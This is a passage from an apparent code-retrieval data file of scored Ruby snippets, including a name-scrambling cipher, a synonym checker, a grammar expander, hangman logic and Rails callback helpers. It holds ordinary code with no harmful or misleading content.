first and last name. Swapping the first and last name.\n\t\tnew_name = real_name.split(' ').reverse\t\t\n\n\t\t# Changing all of the vowels (a, e, i, o, or u) to the next vowel in 'aeiou'\n\t\tfirst_name = new_name[0].downcase.gsub(/[aeiou]/, 'a' => 'e', 'e' => 'i',\n\t\t 'i' => 'o', 'o' => 'u', 'u' => 'a')\n\n\t\t# all of the consonants to the next consonant in the vowel.\n\t\tnew_name[0] = first_name.downcase.gsub(/[^aeiou]/, 'b'=> 'c', 'c' => 'd','d'=> 'f',\n\t\t 'f' => 'g','g'=> 'h', 'h' => 'j','j'=> 'k', 'k' => 'l','l'=> 'm',\n\t\t 'm' => 'n','n'=> 'p', 'p' => 'q','q'=> 'r', 'r' => 's','s'=> 't',\n\t\t 't' => 'v','v'=> 'w', 'w' => 'x','x'=> 'y', 'y' => 'z','z'=> 'b')\n\n\n\n\n\t\t# Changing all of the vowels (a, e, i, o, or u) to the next vowel in 'aeiou'\n\t\tlast_name = new_name[1].downcase.gsub(/[aeiou]/, 'a' => 'e', 'e' => 'i',\n\t\t 'i' => 'o', 'o' => 'u', 'u' => 'a')\n\n\t\t# all of the consonants to the next consonant in the vowel.\n\t\tnew_name[1] = last_name.downcase.gsub(/[^aeiou]/, 'b'=> 'c', 'c' => 'd','d'=> 'f',\n\t\t 'f' => 'g','g'=> 'h', 'h' => 'j','j'=> 'k', 'k' => 'l','l'=> 'm',\n\t\t 'm' => 'n','n'=> 'p', 'p' => 'q','q'=> 'r', 'r' => 's','s'=> 't',\n\t\t 't' => 'v','v'=> 'w', 'w' => 'x','x'=> 'y', 'y' => 'z','z'=> 'b')\n\n\t\tnew_name[0].capitalize!\n\t\tnew_name[1].capitalize!\n\t\tresulting_name = new_name[0] + \" \" + new_name[1]\n\nend", "title": "" }, { "docid": "f74d12ddb36992a2bb12a3db6b9a5e85", "score": "0.4586234", "text": "def scan(pattern) \n yield str\n end", "title": "" }, { "docid": "4a78a45378ebc33aa1968a09cfd6a7b7", "score": "0.4583915", "text": "def flag_emoji_all_oc\n index = 0 # Goto start of string received\n while index < self.length do # While not at end of string, check for 'a', 'f', or 'u' \n case self[index]\n when 'a'\n index = index + 1 # Goto next character\n if self[index] == 'u' # If you get 2nd letter of country code\n print '🇺 AuFlag' # print appropriate emoji\n else # Else\n print self[index - 1] # print previous character\n print self[index] # and current character\n end \n when 'f'\n index = index + 1 # Goto next character\n if self[index] == 'r' # If you get 2nd letter of country code\n print '🇷 FrFlag' # print appropriate emoji\n else # Else\n print self[index - 1] # print previous character\n print self[index] # and current character \n end \n when 'u'\n index = index + 1 # Goto next character\n if self[index] == 's' # If you get 2nd letter of country code\n print '🇸 UsFlag' # print appropriate emoji\n else # Else\n print self[index - 1] # print previous character\n print self[index] # and current character\n end\n else\n print self[index]\n end\n index = index + 1 # Goto next character \n end\n end", "title": "" }, { "docid": "dc9ece5b09db574b98b923bbfaed159c", "score": "0.45831132", "text": "def verify_with_human()\n\n puts \"\\nYou can help the Tramice 721 to solve false synonyms and homonyms by answering a few questions.\\n\"\n puts \"\\n (At any time, to quit, type : Quit)\\n\\n\"\n \n# First, the more obvious…\n\n find_ambivalent_synonyms # Function call…\n\n ambivalent_synonyms = $ambivalent_synonyms.dup # We will work on a copy, because there may be deletions.\n \n# Let's now ask the user what they think…\n \n ambivalent_synonyms.each do |s|\n answer_ok = true\n begin\n\n print ' - Are \"' + $lexicon[s['a']] + '\" and \"' + $lexicon[s['b']] + '\"' + \\\n \" synonyms ? (Yes/No/Pass)\\n\\n\"\n \n answer = gets.chomp.capitalize[0,1]\n\n case answer\n\n\t when 'Y'\n\t \n\t # This case is promptly solved.\n\n\t $ambivalent_synonyms -= [s]\n\t \n\t # We nonetheless keep log of the user action.\n\t \n\t # $users[user]['infos'] << { 'ACTION' => 'confirmed', \\\n\t # 'WHAT' => s, \\\n\t # 'DATE' => Time.now }\n\n\t when 'N'\n\n\t # We simply split the element in its two obvious parts.\n\t \n\t complete = completeness( s['#a'].length, s['~a'].length )\n\t \n\t $elements[s['k']] = \\\n\t { 'k' => s['k'], \\\n\t '~' => s['~a'], \\\n\t '#' => s['#a'], \\\n\t '@' => s['@a'], \\\n\t '%' => complete }\n\t \n\t s['~a'].each do |lexeme|\n\t $lexicon_infos[lexeme]['e'] -= [s['b']]\n\t end\n\t \n\t complete = completeness( s['#b'].length, s['~b'].length )\n\t \n\t $elements << { 'k' => $elements.length, \\\n\t '~' => s['~b'], \\\n\t '#' => s['#b'], \\\n\t '@' => s['@b'], \\\n\t '%' => complete }\n\t \n\t s['~b'].each do |lexeme|\n\t $lexicon_infos[lexeme]['e'] -= [s['a']]\n\t $lexicon_infos[lexeme]['e'] << $elements.length - 1\n\t end\n\n\t # We also remove the faulty synonyms from the $lexicon_infos.\n\t \n\t $lexicon_infos[s['a']]['~'] -= [s['b']]\n\t $lexicon_infos[s['b']]['~'] -= [s['a']]\n\t \n\t # And then we consider this case filed.\n\n\t $ambivalent_synonyms -= [s]\n\t \n\t # The user's action is logged.\n\t \n\t # $users[user]['infos'] << { 'ACTION' => 'infirmed', \\\n\t # 'WHAT' => s, \\\n\t # 'DATE' => Time.now }\n\n\t # Can we also backtrace to the faulty wish and remove it ?\n\t # And also inform its author ?\n\t when 'P'\n\t next\n\t when 'Q'\n\t return\n else\n answer_ok = false\n end\n end until answer_ok\n end\n \n\n# When ambivalents synonyms are all treated, we may always check some potential badly formed elements, due to homonymy.\n\n find_suspected_homonyms # First, call the function.\n\n suspected_homonyms = $suspected_homonyms.dup # We will work on a copy, because there may very well be deletions.\n \n suspected_homonyms.each do |h|\n k = h[0]['k'] # This is the key (ID) of this element that is suspected of being actually… many.\n l = h[0]['l'] # This is the number of the lexeme that may have different meanings.\n synonymous_subsets = []\n\n # So, let's ask the user to compare dubious pairs of synonyms, and reshape lexicon & elements accordingly.\n \n h.each_with_index do |sub_constellation_a, a|\n h.each_with_index do |sub_constellation_b, b|\n \n if b >= a then\n next\n end\n\n answer_ok = true\n \n begin # asking the folowwing question to the user, and ask until a correct answer is given.\n\n # But first, let's see if this potential pair has been resolved already.\n \n all_subsets_containing_either_one_of_the_two_constellations = []\n \n constellations_already_merged = false\n \n synonymous_subsets.each_with_index do |subset, s|\n \n if [sub_constellation_a, sub_constellation_b] - subset.flatten == [] then\n \n constellations_already_merged = true\n break # Skip this one, it is unnecessary.\n \n end\n \n # For this, we collect all subsets containing either one of the two presently considered contellations.\n\n if [sub_constellation_a] - subset.flatten == [] then\n all_subsets_containing_either_one_of_the_two_constellations << s\n end\n \n if [sub_constellation_b] - subset.flatten == [] then\n all_subsets_containing_either_one_of_the_two_constellations << s\n end\n end\n \n if constellations_already_merged then next end\n \n # We may now ask the question.\n\n print ' - Are { '\n sub_constellation_a['~'].each { |lexeme| print '\"' + $lexicon[lexeme] + '\" ' }\n print '} and { '\n sub_constellation_b['~'].each { |lexeme| print '\"' + $lexicon[lexeme] + '\" ' }\n print \"} synonymous sets ? (Yes/No/Pass)\\n\\n\"\n \n answer = gets.chomp.capitalize[0,1]\n\n case answer\n\n\t when 'Y'\n\n\t # If no synonymous subset contains either one of the two constellations, append both.\n\t \n if all_subsets_containing_either_one_of_the_two_constellations == [] then\n \n\t # …add the two of them in a separate synonymous subset.\n\n\t synonymous_subsets << [sub_constellation_a, sub_constellation_b]\n\t \n\t else\n\t \n\t # Otherwise, merge the subsets containing either one of the two currently tested constellations.\n\t \n\t merged_synonymous_subsets = [sub_constellation_a, sub_constellation_b]\t \n\t all_subsets_containing_either_one_of_the_two_constellations.reverse.each do |s| \n\t \n\t merged_synonymous_subsets |= synonymous_subsets[s] \n\t synonymous_subsets.delete_at(s) # ^reverse^ because we delete\n\t \n\t end\n\t \n\t synonymous_subsets << merged_synonymous_subsets\n\t \t \n\t end\t \n\t \n\t # And we also update $lexicon_infos with these new synonyms.\n\t \n\t $suspected_homonyms -= [h]\n\t \n\t # $users[user]['infos'] << { 'ACTION' => 'confirmed', \\\n\t # 'WHAT' => [sub_constellation_a, sub_constellation_b], \\\n\t # 'DATE' => Time.now }\n\t \n\n\t when 'N' # No, the two subsets aren't synonymous.\n\n\t if [sub_constellation_a] - synonymous_subsets.flatten != [] then\n\t synonymous_subsets << [sub_constellation_a]\n\t end\n\n\t if [sub_constellation_b] - synonymous_subsets.flatten != [] then\n\t synonymous_subsets << [sub_constellation_b]\n\t end\n\n\t # Let's remove the faulty synonymous_subsets from $lexicon_infos.\n\t \n\t sub_constellation_a['~'].each do |lexeme|\n\t $lexicon_infos[lexeme]['~'] -= (sub_constellation_b['~'] - [l])\n\t $lexicon_infos[lexeme]['e'] -= [k]\n\t end\n\t \n\t sub_constellation_b['~'].each do |lexeme|\n\t $lexicon_infos[lexeme]['~'] -= (sub_constellation_a['~'] - [l])\n\t $lexicon_infos[lexeme]['e'] -= [k]\n\t end\n\t \n\t # And clear this case.\n\n\t $suspected_homonyms -= [h]\n\t \n\t # Now, log the user's action.\n\t \n\t # $users[user]['infos'] << { 'ACTION' => 'infirmed', \\\n\t # 'WHAT' => [subset1, subset2], \\\n\t # 'DATE' => Time.now }\n\n\t when 'P'\n\t next\n\t when 'Q'\n\t return\n else\n answer_ok = false\n end\n end until answer_ok\n \n end # h.each_with_index\n end # h.each_with_index\n \n \n # If all the subsets are synonymous, we leave the element as it is.\n \n if synonymous_subsets.length == 1 then \n next\n else\n \n # Otherwise, we first report the homonymous lexeme and mark off the faulty element.\n \n $homonyms << { 'l' => l, \\\n\t 'h' => $lexicon[l], \\\n\t 'x' => k, \\\n\t 'e' => [] }\n\n\t $elements[k]['HOMONYMY MAP'] = l\t \n\t \n\n # Then we create separated, complete elements.\n\n synonymous_subsets.each do |subset|\n total_lexemes = []\n total_map = []\n total_strength = 0\n \n # First, we add the constellation's pairs to the total map.\n \n subset.each do |constellation|\n total_lexemes |= constellation['~'] # join\n\n\t constellation['#'].each do |pair|\n\t \n matched_pair = total_map.index {|p| p['-'] - pair['-'] == []}\n \n if not matched_pair then # add it to the map\n \n total_map << { '-' => pair['-'], '@' => 1 }\n \n else # strengthen the matched pair\n \n total_map[matched_pair]['@'] += 1\n \n end # — in both cases, strengthen the map strength.\n \n total_strength += 1\t \n\t end \n end # subset.each\n\t \n # Then, we add the total interconnection of these newly joined synonyms to the total map.\n \n total_lexemes.each_with_index do |lexeme1, l1|\n total_lexemes.each_with_index do |lexeme2, l2|\n \n if l2 >= l1 then next end\n \n matched_pair = total_map.index {|pair| (pair['-'] - [lexeme1]) - [lexeme2] == []}\n \n if not matched_pair then # add it to the map\n \n total_map << { '-' => [lexeme1, lexeme2], '@' => 1 }\n \n else # strengthen the matched pair\n \n total_map[matched_pair]['@'] += 1\n \n end # — in both cases, increase the map strength.\n \n total_strength += 1\n \n end\n end\n \n # Finally let's add this separated, complete element to the list !\n \n complete = completeness( total_map.length, total_lexemes.length )\n \n $elements << { 'k' => $elements.length, \\\n '~' => total_lexemes, \\\n '#' => total_map, \\\n '@' => total_strength, \\\n '%' => complete } # Should be 1.0 (100 %).\n \n # Oh, yeah, let's also update the other tables… \n \n total_lexemes.each_with_index do |lex1, l1|\n \n $lexicon_infos[lex1]['e'] << $elements.length - 1\n \n total_lexemes.each_with_index do |lex2, l2|\t\n if l2 >= l1 then\n next\n end \n $lexicon_infos[lex1]['~'] |= [lex2]\n $lexicon_infos[lex2]['~'] |= [lex1]\n end\n end\n \n $homonyms.last['e'] << $elements.length - 1\n \n end # synonymous_subsets.each\n end # if synonymous_subsets.length == 1 (else)\n end # suspected_homonyms.each\n \n \n# After having resolved the previous external cases, let's try to find synonyms ~inside~ our lexemes…\n\n find_suspected_synonyms # The usual function call…\n \n print \"\\n There is no more synonyms to check.\\n\\n\"\n \n suspected_homonyms.clear\n \nend", "title": "" }, { "docid": "4fff9892adb65456eb42ae27cdb79f46", "score": "0.45817018", "text": "def new_text; end", "title": "" }, { "docid": "4fff9892adb65456eb42ae27cdb79f46", "score": "0.45817018", "text": "def new_text; end", "title": "" }, { "docid": "4fff9892adb65456eb42ae27cdb79f46", "score": "0.45817018", "text": "def new_text; end", "title": "" }, { "docid": "184a4ebc8dc434878572ba04f7d2149a", "score": "0.45816937", "text": "def do_fred(input, strata, n=4)\r\n top = [input.shift,['Fus']+(rules=input.shift[4..-1])]\r\n left = input.every[0..0]\r\n strata = strata.flatten.every+1\n Comps[0..2] = [E,W,L]\n input.every[0...n]=[]\n \n success = fred_run(input,[],(lbl=[]),(mib=[]),(skb=[]),(ver=[top[0]]), left, rules, strata)\n lbl.map!{|row| 'A'+row.map{|num| strata[num]}.join}\r\n ver[1] << 'STATUS'\r\n \n Comps[0..-1] = [W,L,E]\n form = proc do\n |tbl|\n top + tbl.zip(lbl).sort.map{|row| [row[-1]]+row[0]}\n end\r\n [success, form[mib], form[skb], ver]\nend", "title": "" }, { "docid": "90b1caa83a82a112417e7b9445478575", "score": "0.45762685", "text": "def new_goal\n input = \"\"\n until @vi_ref.is_valid_text?(input, [\"yes\", \"no\"])\n puts \"Hi, would you like to create a new goal?\" + \"[yes/no]\".colorize(@key_text_color)\n input = gets.chomp \n end\n unless @vi_ref.is_yes?(input)\n puts \"As you do not want to set a goal; Exiting program\"\n exit\n end\n end", "title": "" }, { "docid": "27b2e10b97b4ca1390b6762f25477f0b", "score": "0.4569209", "text": "def badish\n # Post process each bad entry to match against the profesor names in a regular expression fashion\n bad.each do |item|\n # unpack\n id = materias[item][0]\n rfc = materias[item][3]\n p_name = materias[item][4]\n #puts materias[item].inspect if (DEBUG)\n\n #name = []\n profesores.each do |profesor|\n # normalize string and split into words\n #name = profesor[1].chomp.upcase.gsub(/\\s+/,' ').gsub(/(M\\.[ICAG]|L\\.A|I\\.Q|ING|FIS|MTRO|MRTO|DRA?)\\.?$/,\"\").split(\" \")\n name = strip_title_tag(profesor[1]).split(\" \")\n # match the known name against a regular expression\n if (name.length >= 5)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3]+\" \"+name[4])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 4)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 3)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 2)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n end\n end\n end", "title": "" }, { "docid": "c5887dc3a85849b641d465d315abcd6a", "score": "0.45674402", "text": "def continue_lex(string, &b); end", "title": "" }, { "docid": "89c43ec0dedad86f87cbd69fe996f18b", "score": "0.4564053", "text": "def expand(grammar, non_term=\"<start>\")\n # NOT FINISHED!!!!\n final_string = ''\n string_array = grammar[non_term.downcase] # case insensitive because to_grammar_hash only inputs lowercase\n if non_term == '<start>'\n selection = string_array[rand(string_array.length)]\n selection.each do |element|\n # word.each do |element|\n if is_non_terminal? element\n final_string += expand(grammar, element)\n else\n if element.count(\"a-zA-Z0-9\").zero?\n final_string += element\n else\n final_string += ' ' + element\n end\n # end\n end\n end\n else\n selection = string_array[rand(string_array.length)]\n selection.each do |word|\n if is_non_terminal? word\n final_string += expand(grammar, word)\n else\n if word[0].count(\"a-zA-Z0-9\").zero?\n final_string += word\n else\n final_string += ' ' + word\n end\n end\n end\n end\n\n return final_string\nend", "title": "" }, { "docid": "fdb00669c21aa55c295df825f9745886", "score": "0.456115", "text": "def accept(*args); end", "title": "" }, { "docid": "fdb00669c21aa55c295df825f9745886", "score": "0.456115", "text": "def accept(*args); end", "title": "" }, { "docid": "9ab04bb77dd421c436adc70db18975c5", "score": "0.45546097", "text": "def next_step(lettr)\n if @status == -1 || @status == 1\n return\n end\n\n if @good_letters.include?(lettr) || @bad_letters.include?(lettr)\n return\n end\n\n if @letters.include?(lettr)\n\n @good_letters << lettr \n \n if @good_letters.size == @letters.uniq.size\n @status = 1\n end \n else \n @bad_letters << lettr\n\n @errors += 1\n\n if errors >= 7\n @status = -1 \n end \n end\n end", "title": "" }, { "docid": "ed88fb8e2760bbb5266b9b30e38ffb2a", "score": "0.45481122", "text": "def parse_well_formed()\n # not to alter @remain in case of match failure\n str = @remain.gsub(/ aka [[:alpha:]]+( [[:alpha:]]+)?/, '') # remove aka Abc\n str = str.gsub(/ ([[:alpha:]])\\. /, ' \\1 ') # convert A. -> A\n if str =~ /^ - (.+) - (\\w+( \\w+){0,2}) \\[1080p\\]$/\n @remain = $1\n @names = [$2]\n register_names()\n true\n elsif str =~ /^ - (.+) - ([[:alpha:]]+( [[:alpha:]]+){0,2}(, \\w+([- ]\\w+){0,2})*) \\[1080p\\]$/\n @remain = $1\n @names = $2.split(', ').map { |x| x.gsub('-', ' ') }\n register_names()\n true\n elsif str =~ /^ - (.+) - ([[:alpha:]]+( [[:alpha:]]+){0,2}( and \\w+([- ]\\w+){0,2})*) \\[1080p\\]$/\n @remain = $1\n @names = $2.split(' and ')\n register_names()\n true\n elsif str =~ /^ - ([[:alpha:]]+) - ([[:alpha:]]+ [[:alpha:]]) - (.+)_1080p$/\n @remain = $3\n @names = [$1, $2]\n register_names()\n true\n elsif str =~ /^ - (\\w+( \\w+)?) \\((.+?)\\).*$/ ||\n str =~ /^ - (\\w+( \\w+)?) \\{(.+?)\\}.*$/\n @names = [$1]\n @remain = $3\n register_names()\n true\n elsif str =~ /^ - (\\w+, \\w+( \\w\\.)?) \\((.+?)\\).*$/\n @remain = $3 # do it before gsub\n @names = $1.split(', ').map { |x| x.gsub('.', '')}\n register_names()\n true\n elsif str =~ /^ - (\\w+( \\w+)*(, \\w+( \\w+)*)*) - (.+)$/\n @names = $1.split(\", \")\n @remain = $5\n register_names()\n true\n elsif str =~ /^ - (Introducing (\\w+)) .*$/ ||\n str =~ /^ - ((\\w+)'s Hidden Cam) .*$/\n @names = [$2]\n @remain = $1\n register_names()\n true\n else\n false\n end\n end", "title": "" }, { "docid": "d9b0b4b349716d151f870ded70f75ec2", "score": "0.45477962", "text": "def adapt_words(pass_path, pass_oldword, pass_newword)\n run \"grep -rl '#{pass_oldword}' #{pass_path} | xargs sed -i 's/#{pass_oldword}/#{pass_newword}/g'\"\n run \"grep -rl '#{pass_oldword.camelcase}' #{pass_path} | xargs sed -i 's/#{pass_oldword.camelcase}/#{pass_newword.camelcase}/g'\"\n run \"grep -rl '#{pass_oldword.upcase}' #{pass_path} | xargs sed -i 's/#{pass_oldword.upcase}/#{pass_newword.upcase}/g'\"\n run \"grep -rl '#{pass_oldword.downcase}' #{pass_path} | xargs sed -i 's/#{pass_oldword.downcase}/#{pass_newword.downcase}/g'\"\n run \"grep -rl '#{pass_oldword.humanize}' #{pass_path} | xargs sed -i 's/#{pass_oldword.humanize}/#{pass_newword.humanize}/g'\"\n run \"grep -rl '#{pass_oldword.titleize}' #{pass_path} | xargs sed -i 's/#{pass_oldword.titleize}/#{pass_newword.titleize}/g'\"\n end", "title": "" }, { "docid": "f88309abb92cb03777cc7198532a87d6", "score": "0.4546102", "text": "def ab_star\n Automaton.new(true) do |fa|\n fa.alphabet = [\"a\", \"b\"]\n fa.add_state(:initial => true, :accepting => true)\n fa.add_state(:initial => false, :accepting => false)\n fa.connect(0,1,'a')\n fa.connect(1,0,'b')\n end\n end", "title": "" }, { "docid": "cf6b95a06c0198458b3695dab4056060", "score": "0.45390552", "text": "def match(str)\n [str]\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "c4893f6e14a64586f40b3189e08dc367", "score": "0.0", "text": "def set_applicant\n @applicant = Applicant.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339844", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6014297", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.5921944", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59137523", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59137523", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.5898428", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58904207", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58904207", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58904207", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.58896065", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.5877539", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863542", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58097845", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57384336", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57295334", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5715592", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703502", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56912124", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56675047", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651801", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.564916", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.5636393", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627456", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5609225", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.55986106", "text": "def execute_callbacks; end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598327", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.559026", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5559285", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5559285", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5508948", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.55042", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.54657644", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.54656667", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54481184", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54453874", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.54387546", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.5416965", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410795", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410795", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5398594", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53924775", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53924775", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.53916943", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5386349", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5379919", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": 